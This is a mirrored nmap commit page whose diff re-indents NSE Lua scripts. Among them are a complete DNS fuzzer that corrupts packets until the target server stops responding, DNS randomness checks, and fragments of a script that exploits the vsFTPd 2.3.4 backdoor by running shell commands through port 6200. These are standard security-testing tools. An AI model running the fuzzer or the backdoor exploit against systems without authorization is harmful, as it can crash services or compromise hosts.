1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-24 16:39:03 +00:00

Re-indent some libs and scripts, change 4 to 2-space indent

Mostly found with:

    for i in nselib/*.lua scripts/*.nse; do
      echo $(perl -lne 'BEGIN{$a=$p=0}next unless $_;/^(\s*)/;' \
        -e '$l=length$1;next if$l==$p;$a+=(abs($l-$p)-$a)/$.;' \
        -e '$p=$l;END{print$a}' $i) $i
    done | sort -nr

And indented with: https://gist.github.com/bonsaiviking/8845871

whois-ip.nse was particularly mangled (probably my fault due to using
vim's built-in indentation script, but it could be structured better)
This commit is contained in:
dmiller
2014-02-06 23:25:28 +00:00
parent 96c1a4f46b
commit fb67a6717e
30 changed files with 4693 additions and 4693 deletions

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -58,40 +58,40 @@ recursiveServer = "scanme.nmap.org"
-- @param port The servers port
-- @return Bool, true if and only if the server is alive
function pingServer (host, port, attempts)
local status, response, result
-- If the server doesn't respond to the first in a multiattempt probe, slow down
local slowDown = 1
if not recursiveOnly then
-- try to get a server status message
-- The method that nmap uses by default
local data
local pkt = dns.newPacket()
pkt.id = math.random(65535)
local status, response, result
-- If the server doesn't respond to the first in a multiattempt probe, slow down
local slowDown = 1
if not recursiveOnly then
-- try to get a server status message
-- The method that nmap uses by default
local data
local pkt = dns.newPacket()
pkt.id = math.random(65535)
pkt.flags.OC3 = true
pkt.flags.OC3 = true
data = dns.encode(pkt)
data = dns.encode(pkt)
for i = 1, attempts do
status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)})
if status then
return true
end
slowDown = slowDown + 0.25
end
for i = 1, attempts do
status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)})
if status then
return true
end
slowDown = slowDown + 0.25
end
return false
else
-- just do a vanilla recursive lookup of scanme.nmap.org
for i = 1, attempts do
status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)})
if status then
return true
end
slowDown = slowDown + 0.25
end
return false
end
return false
else
-- just do a vanilla recursive lookup of scanme.nmap.org
for i = 1, attempts do
status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)})
if status then
return true
end
slowDown = slowDown + 0.25
end
return false
end
end
---
@@ -99,13 +99,13 @@ end
-- the requested domain names
-- @return Random string of lowercase characters
function makeWord ()
local len = math.random(3,7)
local name = string.char(len)
for i = 1, len do
-- this next line assumes ascii
name = name .. string.char(math.random(string.byte("a"),string.byte("z")))
end
return name
local len = math.random(3,7)
local name = string.char(len)
for i = 1, len do
-- this next line assumes ascii
name = name .. string.char(math.random(string.byte("a"),string.byte("z")))
end
return name
end
---
@@ -115,19 +115,19 @@ end
-- @param compressed Bool, whether or not this record should have a compressed field
-- @return A dns host string
function makeHost (compressed)
-- randomly choose between 2 to 4 levels in this domain
local levels = math.random(2,4)
local name = ""
for i = 1, levels do
name = name .. makeWord ()
end
if compressed then
name = name .. string.char(0xC0) .. string.char(0x0C)
else
name = name .. string.char(0x00)
end
-- randomly choose between 2 to 4 levels in this domain
local levels = math.random(2,4)
local name = ""
for i = 1, levels do
name = name .. makeWord ()
end
if compressed then
name = name .. string.char(0xC0) .. string.char(0x0C)
else
name = name .. string.char(0x00)
end
return name
return name
end
---
@@ -135,25 +135,25 @@ end
-- makeHost(). This packet is to be corrupted.
-- @return Always returns a valid packet
function makePacket()
local recurs = 0x00
if recursiveOnly then
recurs = 0x01
end
return
string.char( math.random(0,255), math.random(0,255), -- TXID
recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
0x00, 0x02, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00) -- Additional RRs
-- normal host
.. makeHost (false) .. -- Hostname
string.char( 0x00, 0x01, -- Type (A)
0x00, 0x01) -- Class (IN)
-- compressed host
.. makeHost (true) .. -- Hostname
string.char( 0x00, 0x05, -- Type (CNAME)
0x00, 0x01) -- Class (IN)
local recurs = 0x00
if recursiveOnly then
recurs = 0x01
end
return
string.char( math.random(0,255), math.random(0,255), -- TXID
recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
0x00, 0x02, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00) -- Additional RRs
-- normal host
.. makeHost (false) .. -- Hostname
string.char( 0x00, 0x01, -- Type (A)
0x00, 0x01) -- Class (IN)
-- compressed host
.. makeHost (true) .. -- Hostname
string.char( 0x00, 0x05, -- Type (CNAME)
0x00, 0x01) -- Class (IN)
end
---
@@ -167,18 +167,18 @@ end
-- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with bit flip errors
function nudgePacket (dnsPacket)
local newPacket = ""
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
-- Induce bit errors at a rate of 1/50.
if math.random(50) == 25 then
-- Bitflip algorithm: c ^ 1<<(rand()%7)
newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) )
else
newPacket = newPacket .. c
end
end)
return newPacket
local newPacket = ""
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
-- Induce bit errors at a rate of 1/50.
if math.random(50) == 25 then
-- Bitflip algorithm: c ^ 1<<(rand()%7)
newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) )
else
newPacket = newPacket .. c
end
end)
return newPacket
end
---
@@ -186,17 +186,17 @@ end
-- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing
function dropByte (dnsPacket)
local newPacket = ""
local byteToDrop = math.random(dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if not i==byteToDrop then
newPacket = newPacket .. c
end
end)
return newPacket
local newPacket = ""
local byteToDrop = math.random(dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if not i==byteToDrop then
newPacket = newPacket .. c
end
end)
return newPacket
end
---
@@ -204,18 +204,18 @@ end
-- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing
function injectByte (dnsPacket)
local newPacket = ""
local byteToInject = math.random(dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if i==byteToInject then
newPacket = newPacket .. string.char(math.random(0,255))
end
newPacket = newPacket .. c
end)
return newPacket
local newPacket = ""
local byteToInject = math.random(dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if i==byteToInject then
newPacket = newPacket .. string.char(math.random(0,255))
end
newPacket = newPacket .. c
end)
return newPacket
end
---
@@ -223,19 +223,19 @@ end
-- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing
function truncatePacket (dnsPacket)
local newPacket = ""
-- at least 12 bytes to make sure the packet isn't dropped as a tinygram
local eatPacketPos = math.random(12,dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if i==eatPacketPos then
return
end
newPacket = newPacket .. c
end)
return newPacket
local newPacket = ""
-- at least 12 bytes to make sure the packet isn't dropped as a tinygram
local eatPacketPos = math.random(12,dnsPacket:len())-1
local i = 0
-- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c)
i=i+1
if i==eatPacketPos then
return
end
newPacket = newPacket .. c
end)
return newPacket
end
---
@@ -247,89 +247,89 @@ end
-- @param query An uncorrupted DNS packet
-- @return A string if the server died, else nil
function corruptAndSend (host, port, query)
local randCorr = math.random(0,4)
local status
local result
-- 10 is arbitrary, but seemed like a good number
for j = 1, 10 do
if randCorr<=1 then
-- slight bias to nudging because it seems to work better
query = nudgePacket(query)
elseif randCorr==2 then
query = dropByte(query)
elseif randCorr==3 then
query = injectByte(query)
elseif randCorr==4 then
query = truncatePacket(query)
end
local randCorr = math.random(0,4)
local status
local result
-- 10 is arbitrary, but seemed like a good number
for j = 1, 10 do
if randCorr<=1 then
-- slight bias to nudging because it seems to work better
query = nudgePacket(query)
elseif randCorr==2 then
query = dropByte(query)
elseif randCorr==3 then
query = injectByte(query)
elseif randCorr==4 then
query = truncatePacket(query)
end
status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
if not status then
if not pingServer(host,port,3) then
-- no response after three tries, the server is probably dead
return "Server stopped responding... He's dead, Jim.\n"..
"Offending packet: 0x".. stdnse.tohex(query)
else
-- We corrupted the packet too much, the server will just drop it
-- No point in using it again
return nil
end
end
if randCorr==4 then
-- no point in using this function more then once
return nil
end
end
return nil
status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
if not status then
if not pingServer(host,port,3) then
-- no response after three tries, the server is probably dead
return "Server stopped responding... He's dead, Jim.\n"..
"Offending packet: 0x".. stdnse.tohex(query)
else
-- We corrupted the packet too much, the server will just drop it
-- No point in using it again
return nil
end
end
if randCorr==4 then
-- no point in using this function more then once
return nil
end
end
return nil
end
action = function(host, port)
local endT
local timelimit, err
local retStr
local query
local endT
local timelimit, err
local retStr
local query
for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
if nmap.registry.args[k] then
timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
if not timelimit then
error(err)
end
break
end
end
if timelimit and timelimit > 0 then
-- seconds to milliseconds plus the current time
endT = timelimit*1000 + nmap.clock_ms()
elseif not timelimit then
-- 10 minutes
endT = 10*60*1000 + nmap.clock_ms()
end
for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
if nmap.registry.args[k] then
timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
if not timelimit then
error(err)
end
break
end
end
if timelimit and timelimit > 0 then
-- seconds to milliseconds plus the current time
endT = timelimit*1000 + nmap.clock_ms()
elseif not timelimit then
-- 10 minutes
endT = 10*60*1000 + nmap.clock_ms()
end
-- Check if the server is a DNS server.
if not pingServer(host,port,1) then
-- David reported that his DNS server doesn't respond to
recursiveOnly = true
if not pingServer(host,port,1) then
return "Server didn't response to our probe, can't fuzz"
end
end
nmap.set_port_state (host, port, "open")
-- Check if the server is a DNS server.
if not pingServer(host,port,1) then
-- David reported that his DNS server doesn't respond to
recursiveOnly = true
if not pingServer(host,port,1) then
return "Server didn't response to our probe, can't fuzz"
end
end
nmap.set_port_state (host, port, "open")
-- If the user specified that we should run for n seconds, then don't run for too much longer
-- If 0 seconds, then run forever
while not endT or nmap.clock_ms()<endT do
-- Forge an initial packet
-- We start off with an only slightly corrupted packet, then add more and more corruption
-- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
-- then start all over
query = makePacket ()
-- induce random jitter
retStr = corruptAndSend (host, port, query)
if not retStr==nil then
return retStr
end
end
return "The server seems impervious to our assault."
-- If the user specified that we should run for n seconds, then don't run for too much longer
-- If 0 seconds, then run forever
while not endT or nmap.clock_ms()<endT do
-- Forge an initial packet
-- We start off with an only slightly corrupted packet, then add more and more corruption
-- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
-- then start all over
query = makePacket ()
-- induce random jitter
retStr = corruptAndSend (host, port, query)
if not retStr==nil then
return retStr
end
end
return "The server seems impervious to our assault."
end

View File

@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
action = function(host, port)
-- TXID: 0xbeef
-- Flags: 0x0100
-- Questions: 1
-- Answer RRs: 0
-- Authority RRs: 0
-- Additional RRs: 0
-- TXID: 0xbeef
-- Flags: 0x0100
-- Questions: 1
-- Answer RRs: 0
-- Authority RRs: 0
-- Additional RRs: 0
-- Query:
-- Name: porttest, dns-oarc, net
-- Type: TXT (0x0010)
-- Class: IN (0x0001)
-- Query:
-- Name: porttest, dns-oarc, net
-- Type: TXT (0x0010)
-- Class: IN (0x0001)
local query = string.char( 0xbe, 0xef, -- TXID
0x01, 0x00, -- Flags
0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs
0x08) .. "porttest" ..
string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN)
local query = string.char( 0xbe, 0xef, -- TXID
0x01, 0x00, -- Flags
0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs
0x08) .. "porttest" ..
string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN)
local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000})
local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000})
-- Fail gracefully
if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT"
else
return
end
end
-- Fail gracefully
if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT"
else
return
end
end
-- Update the port
nmap.set_port_state(host, port, "open")
-- Update the port
nmap.set_port_state(host, port, "open")
-- Now we need to "parse" the results to check to see if they are good
-- Now we need to "parse" the results to check to see if they are good
-- We need a minimum of 5 bytes...
if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response"
else
return
end
end
-- We need a minimum of 5 bytes...
if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response"
else
return
end
end
-- Check TXID
if (string.byte(result, 1) ~= 0xbe
or string.byte(result, 2) ~= 0xef) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID"
else
return
end
end
-- Check TXID
if (string.byte(result, 1) ~= 0xbe
or string.byte(result, 2) ~= 0xef) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID"
else
return
end
end
-- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion"
else
return
end
end
-- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion"
else
return
end
end
-- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure"
else
return
end
end
-- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure"
else
return
end
end
-- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers"
else
return
end
end
-- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers"
else
return
end
end
-- We need a minimum of 128 bytes...
if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- We need a minimum of 128 bytes...
if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text...
-- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text...
-- Check for TXT
if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10)
then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT"
else
return
end
end
-- Check for TXT
if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10)
then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT"
else
return
end
end
-- Check for IN
if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN"
else
return
end
end
-- Check for IN
if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN"
else
return
end
end
-- Get TXT length
local txtlen = string.byte(result, 128)
-- Get TXT length
local txtlen = string.byte(result, 128)
-- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen)
-- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen)
return txtrd
return txtrd
end

View File

@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
action = function(host, port)
-- TXID: 0xbabe
-- Flags: 0x0100
-- Questions: 1
-- Answer RRs: 0
-- Authority RRs: 0
-- Additional RRs: 0
-- TXID: 0xbabe
-- Flags: 0x0100
-- Questions: 1
-- Answer RRs: 0
-- Authority RRs: 0
-- Additional RRs: 0
-- Query:
-- Name: txidtest, dns-oarc, net
-- Type: TXT (0x0010)
-- Class: IN (0x0001)
-- Query:
-- Name: txidtest, dns-oarc, net
-- Type: TXT (0x0010)
-- Class: IN (0x0001)
local query = string.char( 0xba, 0xbe, -- TXID
0x01, 0x00, -- Flags
0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs
0x08) .. "txidtest" ..
string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN)
local query = string.char( 0xba, 0xbe, -- TXID
0x01, 0x00, -- Flags
0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs
0x08) .. "txidtest" ..
string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN)
local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000})
local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000})
-- Fail gracefully
if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT"
else
return
end
end
-- Fail gracefully
if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT"
else
return
end
end
-- Update the port
nmap.set_port_state(host, port, "open")
-- Update the port
nmap.set_port_state(host, port, "open")
-- Now we need to "parse" the results to check to see if they are good
-- Now we need to "parse" the results to check to see if they are good
-- We need a minimum of 5 bytes...
if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response"
else
return
end
end
-- We need a minimum of 5 bytes...
if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response"
else
return
end
end
-- Check TXID
if (string.byte(result, 1) ~= 0xba
or string.byte(result, 2) ~= 0xbe) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID"
else
return
end
end
-- Check TXID
if (string.byte(result, 1) ~= 0xba
or string.byte(result, 2) ~= 0xbe) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID"
else
return
end
end
-- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion"
else
return
end
end
-- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion"
else
return
end
end
-- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure"
else
return
end
end
-- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure"
else
return
end
end
-- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers"
else
return
end
end
-- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers"
else
return
end
end
-- We need a minimum of 128 bytes...
if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- We need a minimum of 128 bytes...
if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text...
-- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text...
-- Check for TXT
if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10)
then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT"
else
return
end
end
-- Check for TXT
if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10)
then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT"
else
return
end
end
-- Check for IN
if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN"
else
return
end
end
-- Check for IN
if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN"
else
return
end
end
-- Get TXT length
local txtlen = string.byte(result, 128)
-- Get TXT length
local txtlen = string.byte(result, 128)
-- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response"
else
return
end
end
-- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen)
-- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen)
return txtrd
return txtrd
end

View File

@@ -85,7 +85,7 @@ local function check_backdoor(host, shell_cmd, vuln)
local status, ret = socket:connect(host, 6200, "tcp")
if not status then
stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE",
SCRIPT_NAME)
SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true)
end
@@ -98,14 +98,14 @@ local function check_backdoor(host, shell_cmd, vuln)
status, ret = socket:receive_lines(1)
if not status then
return finish_ftp(socket, false,
string.format("failed to read shell command results: %s",
ret))
string.format("failed to read shell command results: %s",
ret))
end
if not ret:match("uid=") then
stdnse.print_debug(3,
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
SCRIPT_NAME)
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true)
else
@@ -117,8 +117,8 @@ local function check_backdoor(host, shell_cmd, vuln)
status, ret = socket:receive_lines(1)
if not status then
return finish_ftp(socket, false,
string.format("failed to read shell commands results: %s",
ret))
string.format("failed to read shell commands results: %s",
ret))
end
else
socket:send("exit\n");
@@ -127,10 +127,10 @@ local function check_backdoor(host, shell_cmd, vuln)
vuln.state = vulns.STATE.EXPLOIT
table.insert(vuln.exploit_results,
string.format("Shell command: %s", shell_cmd))
string.format("Shell command: %s", shell_cmd))
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
table.insert(vuln.exploit_results,
string.format("Results: %s", result))
string.format("Results: %s", result))
return finish_ftp(socket, true)
end
@@ -138,7 +138,7 @@ end
action = function(host, port)
-- Get script arguments.
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
local vsftp_vuln = {
title = "vsFTPd version 2.3.4 backdoor",
@@ -146,8 +146,8 @@ action = function(host, port)
description = [[
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
references = {
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
},
dates = {
disclosure = {year = '2011', month = '07', day = '03'},
@@ -164,11 +164,11 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
-- Create socket.
local sock, err = ftp.connect(host, port,
{recv_before = false,
timeout = 8000})
{recv_before = false,
timeout = 8000})
if not sock then
stdnse.print_debug(1, "%s: can't connect: %s",
SCRIPT_NAME, err)
SCRIPT_NAME, err)
return nil
end
@@ -177,7 +177,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
local code, message = ftp.read_reply(buffer)
if not code then
stdnse.print_debug(1, "%s: can't read banner: %s",
SCRIPT_NAME, message)
SCRIPT_NAME, message)
sock:close()
return nil
end
@@ -185,7 +185,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
status, ret = sock:send(CMD_FTP .. "\r\n")
if not status then
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
SCRIPT_NAME, ret)
SCRIPT_NAME, ret)
return nil
end

View File

@@ -54,25 +54,25 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
local function loadFingerprints(filename, cat)
local file, fingerprints
local file, fingerprints
-- Find the file
filename = nmap.fetchfile('nselib/data/' .. filename) or filename
-- Find the file
filename = nmap.fetchfile('nselib/data/' .. filename) or filename
-- Load the file
stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename)
local env = setmetatable({fingerprints = {}}, {__index = _G});
file = loadfile(filename, "t", env)
-- Load the file
stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename)
local env = setmetatable({fingerprints = {}}, {__index = _G});
file = loadfile(filename, "t", env)
if( not(file) ) then
stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename)
return
end
if( not(file) ) then
stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename)
return
end
file()
fingerprints = env.tools
file()
fingerprints = env.tools
return fingerprints
return fingerprints
end
@@ -92,10 +92,10 @@ action = function(host, port)
end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."

View File

@@ -49,36 +49,36 @@ categories = {"default", "discovery", "safe"}
-- helper function
local follow_redirects = function(host, port, path, n)
local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]"
local response = http.get(host, port, path)
local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]"
local response = http.get(host, port, path)
while (response['status-line'] or ""):match(pattern) and n > 0 do
n = n - 1
local loc = response.header['location']
response = http.get_url(loc)
end
while (response['status-line'] or ""):match(pattern) and n > 0 do
n = n - 1
local loc = response.header['location']
response = http.get_url(loc)
end
return response
return response
end
portrule = shortport.http
action = function(host, port)
local response, loc, generator
local path = stdnse.get_script_args('http-generator.path') or '/'
local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
local response, loc, generator
local path = stdnse.get_script_args('http-generator.path') or '/'
local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
